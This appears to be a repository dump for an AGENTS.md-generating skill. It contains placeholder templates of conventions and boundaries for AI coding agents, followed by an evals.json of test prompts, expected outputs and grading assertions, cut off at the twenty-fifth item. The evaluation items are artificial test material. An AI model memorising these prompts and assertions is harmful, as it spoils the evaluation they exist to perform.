<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment {{INSTALL_LINE}} {{PHP_VERSION_LINE}} {{TYPO3_VERSION_LINE}} {{DEV_SETUP_LINE}} {{COMPOSER_MODE_LINE}} <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START structure --> ## Directory structure ``` public/ → Web root (DocumentRoot) typo3/ → TYPO3 backend assets typo3conf/ → Configuration (legacy, avoid) fileadmin/ → User uploads (FAL) index.php → Entry point config/ → Project configuration sites/ → Site configurations (YAML) <site>/ config.yaml → Site routing, languages system/ → System-wide settings settings.php → LocalConfiguration equivalent additional.php → AdditionalConfiguration var/ → Runtime data (cache, logs) cache/ → Cache files log/ → Log files session/ → Session data vendor/ → Composer dependencies packages/ → Local extensions (recommended) my_extension/ → Custom extension ``` <!-- AGENTS-GENERATED:END structure --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests {{COMMANDS_TABLE}} <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - **PSR-12** + TYPO3 CGL (Coding Guidelines) - Strict types: `declare(strict_types=1);` in all PHP files - Use **Composer Mode** for all extensions - Site configuration in `config/sites/` (not database) - Use environment variables for sensitive config - Avoid `typo3conf/` - use `config/` and `packages/` instead ### Project vs Extension code | Type | Location | Purpose | |------|----------|---------| | Local extensions | `packages/` | Custom functionality | | Site config | `config/sites/` | Routing, languages | | System config | `config/system/` | TYPO3 settings | | Templates | Extension `Resources/` | Fluid templates | <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START extensions --> ## Extension management - **Composer-only**: All extensions via `composer require` - **Local packages**: Use `packages/` with path repository - **Never use Extension Manager** for production - Lock extension versions in `composer.lock` ### Adding local extension ```json { "repositories": [ {"type": "path", "url": "packages/*"} ], "require": { "vendor/my-extension": "@dev" } } ``` <!-- AGENTS-GENERATED:END extensions --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - **Environment variables**: Use for DB credentials, encryption key - **Restrict backend access**: Use `.htaccess` or server config - **Disable install tool**: Remove `ENABLE_INSTALL_TOOL` after setup - **File permissions**: Strict permissions on `var/`, `config/` - **HTTPS only**: Enforce in site configuration - **Update regularly**: Security updates for core and extensions <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START deployment --> ## Deployment - Use `composer install --no-dev --optimize-autoloader` - Clear caches: `vendor/bin/typo3 cache:flush` - Warmup caches: `vendor/bin/typo3 cache:warmup` - Run database migrations: `vendor/bin/typo3 database:updateschema` - Never deploy `var/cache/` or `var/session/` <!-- AGENTS-GENERATED:END deployment --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist {{CI_CHECKLIST_LINE}} - [ ] Site configuration is valid YAML - [ ] No hardcoded credentials or paths - [ ] Extensions installed via Composer only - [ ] Database schema changes documented {{TYPO3_VERSION_CHECKLIST_LINE}} <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START help --> ## When stuck - TYPO3 Documentation: https://docs.typo3.org - Installation Guide: https://docs.typo3.org/m/typo3/tutorial-getting-started/main/en-us/ - Site Configuration: https://docs.typo3.org/m/typo3/reference-coreapi/main/en-us/ApiOverview/SiteHandling/ - Console Commands: `vendor/bin/typo3 list` - Review root AGENTS.md for project-wide conventions <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
typo3-testing.md 3 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview TYPO3 extension test suite. **Use the `typo3-testing` skill** for comprehensive guidance. <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START structure --> ## Test Structure (TYPO3 standard) ``` Tests/ ├── Unit/ # Fast, isolated unit tests │ └── Domain/ │ └── Model/ ├── Functional/ # Tests with database/TYPO3 context │ ├── Fixtures/ # Test data, SQL, XML │ └── Domain/ │ └── Repository/ └── Build/ # CI configuration ``` <!-- AGENTS-GENERATED:END structure --> <!-- AGENTS-GENERATED:START commands --> ## Running Tests | Type | Command | |------|---------| | Unit tests | `composer ci:test:php:unit` or `Build/Scripts/runTests.sh -s unit` | | Functional tests | `composer ci:test:php:functional` or `Build/Scripts/runTests.sh -s functional` | | Single file | `Build/Scripts/runTests.sh -s unit -p Tests/Unit/Path/To/Test.php` | | Coverage | `composer ci:test:php:unit -- --coverage-html .Build/coverage` | <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START patterns --> ## Key Patterns (TYPO3-specific) - Unit tests extend `\TYPO3\TestingFramework\Core\Unit\UnitTestCase` - Functional tests extend `\TYPO3\TestingFramework\Core\Functional\FunctionalTestCase` - Use `$this->importCSVDataSet()` for functional test fixtures - Define `$testExtensionsToLoad` for extension dependencies - Use `GeneralUtility::makeInstance()` for DI-aware instantiation in functional tests <!-- AGENTS-GENERATED:END patterns --> <!-- AGENTS-GENERATED:START code-style --> ## Code Style - Test class name matches source: `MyClass` → `MyClassTest` - Test methods: `test` prefix or `@test` annotation - One assertion concept per test - Use data providers for multiple similar cases - Mock external services, never real HTTP calls <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START checklist --> ## PR Checklist - [ ] All tests pass: `composer ci:test:php:unit && composer ci:test:php:functional` - [ ] New functionality has tests - [ ] Fixtures are minimal and focused - [ ] No hardcoded credentials or paths - [ ] Coverage hasn't decreased <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START skill-reference --> ## Skill Reference > For comprehensive TYPO3 testing guidance including fixtures, mocking, CI setup, and runTests.sh: > **Invoke skill:** `typo3-testing` <!-- AGENTS-GENERATED:END skill-reference --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}}
-
-
root-thin.md 5.7 KB
<!-- FOR AI AGENTS - Human readability is a side effect, not a goal --> <!-- Managed by agent: keep sections and order; edit content, not structure --> <!-- Last updated: {{TIMESTAMP}} | Last verified: {{VERIFIED_TIMESTAMP}} --> # AGENTS.md **Precedence:** the **closest `AGENTS.md`** to the files you're changing wins. Root holds global defaults only. ## Commands{{VERIFIED_STATUS}} > Source: {{COMMAND_SOURCE}} — CI-sourced commands are most reliable <!-- AGENTS-GENERATED:START commands --> | Task | Command | ~Time | |------|---------|-------| | Typecheck | {{TYPECHECK_CMD}} | {{TYPECHECK_TIME}} | | Lint | {{LINT_CMD}} | {{LINT_TIME}} | | Format | {{FORMAT_CMD}} | {{FORMAT_TIME}} | | Test (single) | {{TEST_SINGLE_CMD}} | ~2s | | Test (all) | {{TEST_CMD}} | {{TEST_TIME}} | | Build | {{BUILD_CMD}} | {{BUILD_TIME}} | <!-- AGENTS-GENERATED:END commands --> > If commands fail, verify against Makefile/package.json/composer.json or ask user to update. ## Response Style - Answer first, elaborate only if needed. No sycophantic openers ("Great question!", "Absolutely!"). - For yes/no or status questions, lead with the answer. - Skip preamble. Match response length to task complexity. ## Workflow 1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching 2. **After each change**: Run the smallest relevant check (lint → typecheck → single test) 3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code 4. **Before claiming done**: Run verification and **show output as evidence** — never say "try again", "should work now", "tested", "verified", or "all green" without pasted command output in the same turn ## File Map <!-- AGENTS-GENERATED:START filemap --> ``` {{FILE_MAP}} ``` <!-- AGENTS-GENERATED:END filemap --> ## Golden Samples (follow these patterns) <!-- AGENTS-GENERATED:START golden-samples --> | For | Reference | Key patterns | |-----|-----------|--------------| {{GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> ## Utilities (check before creating new) <!-- AGENTS-GENERATED:START utilities --> | Need | Use | Location | |------|-----|----------| {{UTILITIES_LIST}} <!-- AGENTS-GENERATED:END utilities --> ## Heuristics (quick decisions) <!-- AGENTS-GENERATED:START heuristics --> | When | Do | |------|-----| {{HEURISTICS}} | Adding dependency | Ask first - we minimize deps | | Unsure about pattern | Check Golden Samples above | <!-- AGENTS-GENERATED:END heuristics --> ## Repository Settings <!-- AGENTS-GENERATED:START repo-settings --> {{REPO_SETTINGS}} <!-- AGENTS-GENERATED:END repo-settings --> <!-- AGENTS-GENERATED:START ci-rules --> {{CI_RULES_SECTION}} <!-- AGENTS-GENERATED:END ci-rules --> ## Key Decisions <!-- AGENTS-GENERATED:START key-decisions --> {{KEY_DECISIONS}} <!-- AGENTS-GENERATED:END key-decisions --> ## Boundaries ### Always Do - Run pre-commit checks before committing - Add tests for new code paths - Use conventional commit format: `type(scope): subject` - Use **atomic commits** (one logical change per commit); preserve signatures, keep bisection useful - **Show test output as evidence before claiming work is complete** — never say "try again", "should work now", "tested", "verified", or "all green" without pasted command output - Before any edit, verify `pwd` resolves inside the intended repo worktree — not `.bare/`, not `~/.claude/skills/…`, not `~/.claude/plugins/cache/…` (those are read-only caches that get clobbered on update) - For upstream dependency fixes: run **full** test suite, not just affected tests - Force-push only with `--force-with-lease` {{LANGUAGE_CONVENTIONS}} ### Ask First - Adding new dependencies - Modifying CI/CD configuration - Changing public API signatures - Running full e2e test suites - Repo-wide refactoring or rewrites - Operations that touch >3 repos (produce a dry-run plan first) ### Never Do - Commit secrets, credentials, or sensitive data - Modify vendor/, node_modules/, or generated files - Push directly to main/master branch — open a PR - Merge a PR before all review threads are resolved - Squash commits during merge or rebase unless the user explicitly asked - Edit installed skill/plugin cache paths (`~/.claude/skills/`, `~/.claude/plugins/cache/`, `**/.bare/**`) — always the source worktree - Reply to review comments with bare "Addressed" or "Fixed" — cite the resolving commit SHA - Delete migration files or schema changes - Use `secrets: inherit` in reusable GitHub Actions workflows (pass secrets explicitly) {{LANGUAGE_SPECIFIC_NEVER}} ## Contributing (for AI agents) - **Comprehension**: Understand the problem before submitting code. Read the linked issue, understand *why* the change is needed, not just *what* to change. - **Context**: Every PR must explain the trade-offs considered and link to the issue it addresses. Disclose AI assistance if the project requires it. - **Continuity**: Respond to review feedback. Drive-by PRs without follow-up will be closed. <!-- AGENTS-GENERATED:START module-boundaries --> {{MODULE_BOUNDARIES}} <!-- AGENTS-GENERATED:END module-boundaries --> ## Codebase State <!-- AGENTS-GENERATED:START codebase-state --> {{CODEBASE_STATE}} <!-- AGENTS-GENERATED:END codebase-state --> ## Terminology | Term | Means | |------|-------| {{TERMINOLOGY}} ## Scoped AGENTS.md (MUST read when working in these directories) <!-- AGENTS-GENERATED:START scope-index --> {{SCOPE_INDEX}} <!-- AGENTS-GENERATED:END scope-index --> > **Agents**: When you read or edit files in a listed directory, you **must** load its AGENTS.md first. It contains directory-specific conventions that override this root file. ## When instructions conflict The nearest `AGENTS.md` wins. Explicit user prompts override files. {{LANGUAGE_SPECIFIC_CONFLICT_RESOLUTION}} -
root-verbose.md 5.5 KB
<!-- FOR AI AGENTS - Human readability is a side effect, not a goal --> <!-- Managed by agent: keep sections and order; edit content, not structure --> <!-- Last updated: {{TIMESTAMP}} | Last verified: {{VERIFIED_TIMESTAMP}} --> # AGENTS.md **Precedence:** The **closest AGENTS.md** to changed files wins. Root holds global defaults only. ## Project Overview <!-- AGENTS-GENERATED:START project-overview --> {{PROJECT_DESCRIPTION}} **Tech Stack**: {{LANGUAGE}} {{VERSION}}, {{BUILD_TOOL}}, {{FRAMEWORK}} **Type**: {{PROJECT_TYPE}} <!-- AGENTS-GENERATED:END project-overview --> ## Response Style - Answer first, elaborate only if needed. No sycophantic openers ("Great question!", "Absolutely!"). - Lead with the answer for yes/no or status questions. Skip preamble. - Match response length to task complexity. ## Global Rules - Keep PRs small (~≤300 net LOC) - Conventional Commits: `type(scope): subject` - Atomic commits (one logical change per commit) — never squash unless explicitly asked {{LANGUAGE_CONVENTIONS}} ## Boundaries ### Always Do - Run pre-commit checks before committing - Add tests for new code paths - Use conventional commit format: `type(scope): subject` - Keep dependencies updated - Validate all user inputs - **Show test output as evidence before claiming work is complete** — never say "try again", "should work now", "tested", "verified", or "all green" without pasted command output in the same turn - Before any edit, verify `pwd` resolves inside the intended repo worktree — not `.bare/`, not `~/.claude/skills/…`, not `~/.claude/plugins/cache/…` (those are read-only caches that get clobbered on update) - For upstream dependency fixes: run **full** test suite, not just affected tests - Force-push only with `--force-with-lease` ### Ask First - Adding new dependencies - Modifying CI/CD configuration - Changing public API signatures - Running full e2e test suites - Repo-wide refactoring or rewrites - Modifying security-sensitive code - Changing database schemas - Any operation that touches >3 repos — produce a dry-run plan first ### Never Do - Commit secrets, credentials, API keys, or PII - Modify vendor/, node_modules/, or generated files - Push directly to main/master branch — open a PR - Merge a PR before all review threads are resolved - Squash commits during merge/rebase unless the user explicitly asked - Edit installed skill/plugin cache paths (`~/.claude/skills/`, `~/.claude/plugins/cache/`, `**/.bare/**`) - Reply to review comments with bare "Addressed" or "Fixed" — cite the resolving commit SHA - Delete migration files or schema changes - Disable security features or linting rules - Hardcode environment-specific values - Use `secrets: inherit` in reusable GitHub Actions workflows (pass secrets explicitly) {{LANGUAGE_SPECIFIC_NEVER}} <!-- AGENTS-GENERATED:START module-boundaries --> {{MODULE_BOUNDARIES}} <!-- AGENTS-GENERATED:END module-boundaries --> ## Development Workflow 1. Create feature branch: `git checkout -b feature/description` 2. Make changes with tests 3. Run pre-commit checks (see below) 4. Commit with conventional format 5. Push and create PR 6. Address review feedback 7. Merge when approved ## Agent Work Loop 1. **Before coding**: Read nearest `AGENTS.md` + check Golden Samples for the area you're touching 2. **After each change**: Run the smallest relevant check (lint → typecheck → single test) 3. **Before committing**: Run full test suite if changes affect >2 files or touch shared code 4. **Before claiming done**: Run verification and **show output as evidence** — never say "try again", "should work now", "tested", or "verified" without pasted command output ## Pre-commit Checks > Source: {{COMMAND_SOURCE}} — CI-sourced commands are most reliable <!-- AGENTS-GENERATED:START precommit-checks --> **Always run before committing:** - Typecheck: {{TYPECHECK_CMD}} - Lint: {{LINT_CMD}} - Format: {{FORMAT_CMD}} - Tests: {{TEST_CMD}} - Build: {{BUILD_CMD}} <!-- AGENTS-GENERATED:END precommit-checks --> ## Code Quality Standards <!-- AGENTS-GENERATED:START quality-standards --> {{QUALITY_STANDARDS}} <!-- AGENTS-GENERATED:END quality-standards --> <!-- AGENTS-GENERATED:START ci-rules --> {{CI_RULES_SECTION}} <!-- AGENTS-GENERATED:END ci-rules --> ## Security & Safety - Never commit secrets, credentials, or PII - Validate all user inputs - Use parameterized queries for database access - Keep dependencies updated {{SECURITY_SPECIFIC}} ## Testing Requirements <!-- AGENTS-GENERATED:START testing --> - Write tests for new features - Maintain {{TEST_COVERAGE}}% minimum coverage - Run fast tests locally: {{TEST_FAST_CMD}} - Run full suite in CI: {{TEST_FULL_CMD}} <!-- AGENTS-GENERATED:END testing --> ## Key Decisions <!-- AGENTS-GENERATED:START key-decisions --> {{KEY_DECISIONS}} <!-- AGENTS-GENERATED:END key-decisions --> ## Scoped AGENTS.md (MUST read when working in these directories) <!-- AGENTS-GENERATED:START scope-index --> {{SCOPE_INDEX}} <!-- AGENTS-GENERATED:END scope-index --> > **Agents**: When you read or edit files in a listed directory, you **must** load its AGENTS.md first. It contains directory-specific conventions that override this root file. ## When Instructions Conflict Nearest AGENTS.md wins. User prompts override files. {{LANGUAGE_SPECIFIC_CONFLICT_RESOLUTION}} ## Code Examples ### Good Pattern {{GOOD_EXAMPLE}} ### Avoid {{BAD_EXAMPLE}} ## Documentation <!-- AGENTS-GENERATED:START documentation --> - Architecture: {{ARCHITECTURE_DOC}} - API docs: {{API_DOC}} - Contributing: {{CONTRIBUTING_DOC}} <!-- AGENTS-GENERATED:END documentation -->
-
-
evals
-
evals.json 22.9 KB
{ "skill_name": "agent-rules", "evals": [ { "id": 1, "eval_name": "generate-agents-go-project", "prompt": "Generate AGENTS.md for this Go project. It's a Docker job scheduler called Ofelia with go-cron integration, integration tests, and GitHub Actions CI.", "expected_output": "A root AGENTS.md with Overview, Setup, Commands (make targets, go test), Architecture sections. Commands should be verified against the actual Makefile/go.mod. File paths should reference real files.", "files": [], "project_path": "/home/cybot/projects/ofelia/main", "assertions": [ "Output file AGENTS.md exists in project root", "Contains a top-level description section explaining the project", "Contains a commands or build section with make targets", "Listed make targets match actual Makefile targets", "Contains go.mod Go version reference", "File paths mentioned in AGENTS.md reference files that actually exist", "Uses tables or structured format (not just prose paragraphs)", "Does not duplicate content from README.md", "Contains CI quality gates from GitHub Actions workflows" ] }, { "id": 2, "eval_name": "generate-agents-typo3-extension", "prompt": "Create AGENTS.md for this TYPO3 extension. It's a CKEditor plugin for image handling in the RTE.", "expected_output": "A root AGENTS.md with TYPO3-specific sections. Should detect ext_emconf.php, composer.json with typo3-cms-extension type, Classes/ directory structure. Should list composer scripts and CI commands.", "files": [], "project_path": "/home/cybot/projects/t3x-cowriter/main", "assertions": [ "Output file AGENTS.md exists in project root", "Detects TYPO3 extension type", "References ext_emconf.php or composer.json type", "Lists composer scripts that exist in composer.json", "Contains testing or CI section", "Directory references match actual project structure", "Uses Pointer Principle (references files, doesn't duplicate content)" ] }, { "id": 3, "eval_name": "generate-agents-skill-repo", "prompt": "Generate AGENTS.md for this skill repository. It provides CLI tool management for AI agents.", "expected_output": "An AGENTS.md appropriate for a skill repo - covering skill structure, SKILL.md location, scripts, references. Should NOT include setup/build sections typical of application projects since skills have no build step.", "files": [], "project_path": "/home/cybot/projects/cli-tools-skill/main", "assertions": [ "Output file AGENTS.md exists in project root", "Identifies project as a skill repository", "References skills/cli-tools/SKILL.md", "Lists scripts if any exist in the repo", "Does NOT contain irrelevant build/compile instructions", "Mentions the skill's purpose from SKILL.md description", "Structure is concise (under 150 lines for a simple skill repo)" ] }, { "id": 4, "eval_name": "update-outdated-agents", "prompt": "Check if the AGENTS.md in this project is current with the codebase. The project has changed since it was last updated. Identify what's outdated and fix it.", "expected_output": "A freshness analysis identifying outdated sections, followed by an updated AGENTS.md. Should detect new files, changed commands, or removed components.", "files": [], "project_path": "/home/cybot/projects/ofelia/main", "assertions": [ "Runs freshness check before modifying", "Identifies specific outdated sections with evidence", "Updated AGENTS.md preserves correct existing content", "New content references files that actually exist", "Commands listed in updated file actually execute" ] }, { "id": 5, "eval_name": "detect-scoped-files-needed", "prompt": "This is a multi-language project with Go backend and TypeScript frontend. Determine if scoped AGENTS.md files are needed and create them if so.", "expected_output": "Detection of distinct tech stacks requiring scoped files. Root AGENTS.md should be thin with pointers. Scoped files should have stack-specific details.", "files": [], "project_path": "/home/cybot/projects/ofelia/main", "assertions": [ "Detects multiple tech stacks or distinct subsystems", "Root AGENTS.md stays thin (under 80 lines)", "Root AGENTS.md links to scoped files", "Scoped files contain stack-specific commands and patterns", "Each scoped file can stand alone for its directory" ] }, { "id": 6, "eval_name": "multi-language-hybrid-project", "prompt": "Generate AGENTS.md for this TYPO3 extension that has both PHP backend (composer, PHPUnit, PHPStan) and JavaScript frontend (npm, Vitest, ESLint). Detect both stacks and organize accordingly.", "expected_output": "An AGENTS.md that recognizes both PHP and JS toolchains. Should reference both composer.json and package.json commands. Root should stay focused and not bloated.", "files": [], "project_path": "/home/cybot/projects/t3x-cowriter/main", "assertions": [ "Detects PHP stack (composer scripts, PHPUnit, ext_emconf.php)", "Detects JavaScript stack (npm scripts, Vitest, ESLint)", "Lists commands from both composer.json and package.json", "Listed commands actually exist in respective config files", "Root AGENTS.md stays thin and organized (not a wall of text)", "Does not conflate PHP and JS testing commands" ] }, { "id": 7, "eval_name": "freshness-check-stale-agents", "prompt": "The AGENTS.md in this project was written months ago. The project has since added new Makefile targets, changed CI workflows, and added new directories. Run a freshness check and update the AGENTS.md to reflect the current state.", "expected_output": "A detailed freshness report identifying which sections are stale, what changed in the repo since AGENTS.md was last modified, and a surgically updated AGENTS.md that fixes only the outdated parts.", "files": [], "project_path": "/home/cybot/projects/t3x-cowriter/main", "assertions": [ "Compares AGENTS.md modification time against recent git history", "Identifies specific sections that reference outdated or missing files", "Preserves sections that are still accurate", "Updated content references files and commands that currently exist", "Does not rewrite the entire file when only parts are stale" ] }, { "id": 8, "eval_name": "edge-case-minimal-project", "prompt": "Generate AGENTS.md for this minimal project. It has very little structure - just a few files. Produce something useful without fabricating content.", "expected_output": "A minimal but valid AGENTS.md that accurately reflects the sparse project. Should not invent build systems, test frameworks, or architecture that doesn't exist.", "files": [], "project_path": "/home/cybot/projects/agent-rules-skill/main", "assertions": [ "Output file AGENTS.md exists and is valid markdown", "Does not fabricate build commands that don't exist in the project", "Does not invent test frameworks or CI pipelines not present", "Accurately reflects actual project structure (skill repo layout)", "Every file path mentioned actually exists in the project" ] }, { "id": 9, "eval_name": "verified-commands-principle", "prompt": "Generate AGENTS.md for this project. Every command you list must actually work. After generating, verify each command by attempting to run it (dry-run where possible).", "expected_output": "An AGENTS.md where every shell command, make target, and script listed has been verified to exist. No aspirational or copied-from-template commands.", "files": [], "project_path": "/home/cybot/projects/ofelia/main", "assertions": [ "Every make target listed exists in the Makefile", "Every go command listed is valid (go test, go build, etc.)", "No commands from other projects or templates leak in", "Commands include correct flags and paths for this specific project", "Does not list commands like npm, composer, cargo that don't apply to this Go project" ] }, { "id": 10, "eval_name": "cross-platform-copilot-instructions", "prompt": "Generate agent rules for this project. Create both AGENTS.md and .github/copilot-instructions.md. Ensure content is consistent between them but format-appropriate for each platform.", "expected_output": "Two files: AGENTS.md and .github/copilot-instructions.md. Both should describe the same project accurately. copilot-instructions.md should follow GitHub Copilot prose format.", "files": [], "project_path": "/home/cybot/projects/ofelia/main", "assertions": [ "AGENTS.md exists in outputs", "copilot-instructions.md exists in outputs", "Both files describe the same project with consistent facts", "copilot-instructions.md follows GitHub Copilot prose format", "No contradictions between the two files", "copilot-instructions.md does not just copy AGENTS.md verbatim" ] }, { "id": 11, "eval_name": "ci-rules-extraction", "prompt": "Generate AGENTS.md for this Go project. Include CI quality gates, required checks, and version requirements from the GitHub Actions workflows.", "expected_output": "AGENTS.md includes CI/Quality Gates section extracted from .github/workflows/ with specific versions, required checks, and linting configs.", "files": [], "project_path": "/home/cybot/projects/ofelia/main", "assertions": [ "Contains CI quality gates or required checks section", "Lists Go version from CI matrix or go.mod", "References specific CI workflow files", "Mentions golangci-lint or linting configuration if present", "Does not fabricate CI rules that don't exist in workflows" ] }, { "id": 12, "eval_name": "architecture-boundaries", "prompt": "Generate AGENTS.md for this Go project. Include module boundaries and architectural constraints from the codebase structure.", "expected_output": "AGENTS.md includes architecture section noting internal/ packages, module boundaries, and dependency patterns.", "files": [], "project_path": "/home/cybot/projects/ofelia/main", "assertions": [ "Documents module or package boundaries from the codebase", "Identifies architecture pattern from directory structure", "References actual directory structure as evidence", "Does not fabricate architectural rules not visible in code" ] }, { "id": 13, "eval_name": "adr-extraction", "prompt": "Generate AGENTS.md for this project. Include any architectural decision records found in docs/adr/ or similar locations.", "expected_output": "AGENTS.md includes Key Decisions section listing ADR titles with summaries and file links.", "files": [], "project_path": "/home/cybot/projects/ofelia/main", "assertions": [ "Checks for docs/adr/ or similar ADR directories", "If ADRs exist, lists titles with one-line summaries", "Links to the ADR files rather than duplicating content", "Does not fabricate decisions that don't exist" ] }, { "id": 14, "eval_name": "symlink-creation", "prompt": "Generate AGENTS.md for this project with CLAUDE.md and GEMINI.md symlinks for cross-agent compatibility. Verify symlinks are correct at every level.", "expected_output": "Root and scoped AGENTS.md files plus CLAUDE.md and GEMINI.md symlinks at every directory that has an AGENTS.md.", "files": [], "project_path": "/home/cybot/projects/ldap-selfservice-password-changer", "assertions": [ "Root CLAUDE.md exists and is a symlink to AGENTS.md", "Root GEMINI.md exists and is a symlink to AGENTS.md", "Subdirectory AGENTS.md files also have CLAUDE.md symlinks", "All symlinks use relative paths (not absolute)", "Root AGENTS.md lists all scoped AGENTS.md paths in an index" ] }, { "id": 15, "eval_name": "symlink-safety-no-overwrite", "prompt": "This project already has a CLAUDE.md with custom content (not a symlink). Generate AGENTS.md with --symlinks. Verify that the existing CLAUDE.md is NOT overwritten.", "expected_output": "The existing non-symlink CLAUDE.md should be preserved. A warning should be logged.", "files": [], "project_path": "/home/cybot/projects/ldap-selfservice-password-changer", "assertions": [ "Existing non-symlink CLAUDE.md is preserved without --force", "A log message warns that CLAUDE.md exists and is not a symlink", "AGENTS.md itself is not affected by --symlinks flag" ] }, { "id": 16, "eval_name": "git-hooks-detection", "prompt": "I'm about to start working on this project -- what git hooks does it use and are they set up?", "expected_output": "Should detect the hook framework (lefthook, husky, captainhook, or pre-commit) and explain how to install. If none exists, should flag the gap.", "files": [], "project_path": "/home/cybot/projects/ofelia/main", "assertions": [ "Checks for lefthook.yml, .husky/, captainhook.json, .pre-commit-config.yaml", "Reports which hook framework is found (or none)", "If hooks exist, explains install command", "If no hooks exist, recommends adding one", "Does not assume a hook framework without evidence" ] }, { "id": 17, "eval_name": "pointer-principle-no-duplication", "prompt": "Generate AGENTS.md for this project. The README.md already has extensive setup instructions. Do NOT duplicate README content -- point to it instead.", "expected_output": "AGENTS.md should reference README.md for setup details rather than copying them. Uses the Pointer Principle.", "files": [], "project_path": "/home/cybot/projects/ofelia/main", "assertions": [ "Does not copy setup instructions from README.md verbatim", "Contains 'see README.md' or similar pointer for detailed setup", "Root AGENTS.md stays under 80 lines", "Focuses on agent-specific info (commands, boundaries, heuristics)", "References README.md as a source but adds agent-specific value" ] }, { "id": 18, "eval_name": "validate-structure-compliance", "prompt": "Run the validate-structure.sh script on this project and report any structural issues found in the existing AGENTS.md.", "expected_output": "Script output showing which sections pass/fail validation. Should identify missing recommended sections and structural issues.", "files": [], "project_path": "/home/cybot/projects/ofelia/main", "assertions": [ "Runs scripts/validate-structure.sh against the project", "Reports pass/fail for each structural check", "Identifies missing recommended sections", "Does not crash on valid AGENTS.md files", "Output is parseable and actionable" ] }, { "id": 19, "eval_name": "python-project-detection", "prompt": "Generate AGENTS.md for this Python project. It uses poetry for dependency management, pytest for testing, and ruff for linting.", "expected_output": "An AGENTS.md with Python-specific sections. Should detect pyproject.toml, poetry.lock, ruff config, and pytest settings.", "files": [], "project_path": "/home/cybot/projects/python-project/main", "assertions": [ "Detects Python project from pyproject.toml or setup.py", "Lists poetry commands if poetry.lock exists", "References pytest configuration", "Lists ruff or linting commands", "Does not list npm/composer/go commands for a Python project" ] }, { "id": 20, "eval_name": "template-selection-thin-vs-verbose", "prompt": "Generate AGENTS.md for this small Go library. Use the thin template style -- the file should be minimal and focused.", "expected_output": "A thin AGENTS.md under 50 lines with only essential sections: Commands, File Map, Heuristics, Boundaries.", "files": [], "project_path": "/home/cybot/projects/simple-ldap-go/main", "assertions": [ "Output is under 50 lines", "Contains Commands section with actual build/test commands", "Contains precedence statement", "Contains index of scoped files if any exist", "Omits verbose sections like full architecture descriptions" ] }, { "id": 21, "eval_name": "verify-content-accuracy", "prompt": "Run verify-content.sh on this project. Report any documented files that don't exist and any important undocumented files.", "expected_output": "Content verification showing documented-but-missing files and undocumented-but-important files.", "files": [], "project_path": "/home/cybot/projects/ofelia/main", "assertions": [ "Runs scripts/verify-content.sh against the project", "Reports files referenced in AGENTS.md that don't exist", "Reports important files not mentioned in AGENTS.md", "Does not report false positives for valid paths", "Output clearly distinguishes missing from undocumented" ] }, { "id": 22, "eval_name": "heuristics-table-generation", "prompt": "Generate AGENTS.md for this project. Include a Heuristics table with project-specific quick-decision rules based on the codebase conventions.", "expected_output": "A Heuristics section with When/Do table entries derived from actual project patterns (commit style, merge strategy, dependency policy).", "files": [], "project_path": "/home/cybot/projects/ofelia/main", "assertions": [ "Contains a Heuristics section with table format", "Heuristics are derived from actual project config (not generic)", "Includes commit convention rule if conventional commits detected", "Includes merge strategy if branch protection detected", "Each heuristic is actionable (not vague advice)" ] }, { "id": 23, "eval_name": "no-fabrication-unknown-project", "prompt": "Generate AGENTS.md for /tmp/empty-project which contains only a single README.md with 'Hello World'. Do not fabricate any content.", "expected_output": "A minimal AGENTS.md acknowledging the sparse project. No fabricated commands, test frameworks, or architecture.", "files": [], "project_path": "/tmp/empty-project", "assertions": [ "Does not list build commands that don't exist", "Does not reference test frameworks not present", "Does not invent CI pipelines", "Produces a valid markdown file", "May suggest next steps but does not pretend they exist" ] }, { "id": 24, "eval_name": "scoped-agents-override-root", "prompt": "This project has a root AGENTS.md saying 'use tabs for indentation'. The internal/web/ directory uses TypeScript with prettier configured for 2-space indentation. Generate a scoped AGENTS.md for internal/web/ that correctly overrides the root rule.", "expected_output": "A scoped AGENTS.md that specifies 2-space indentation for TypeScript, overriding the root tab rule for this directory.", "files": [], "project_path": "/home/cybot/projects/ldap-selfservice-password-changer", "assertions": [ "Scoped file mentions its own indentation convention", "Does not blindly repeat root conventions that don't apply", "References prettier or editorconfig as source of truth", "Includes a note about scope override or precedence" ] }, { "id": 25, "eval_name": "github-rulesets-extraction", "prompt": "Generate 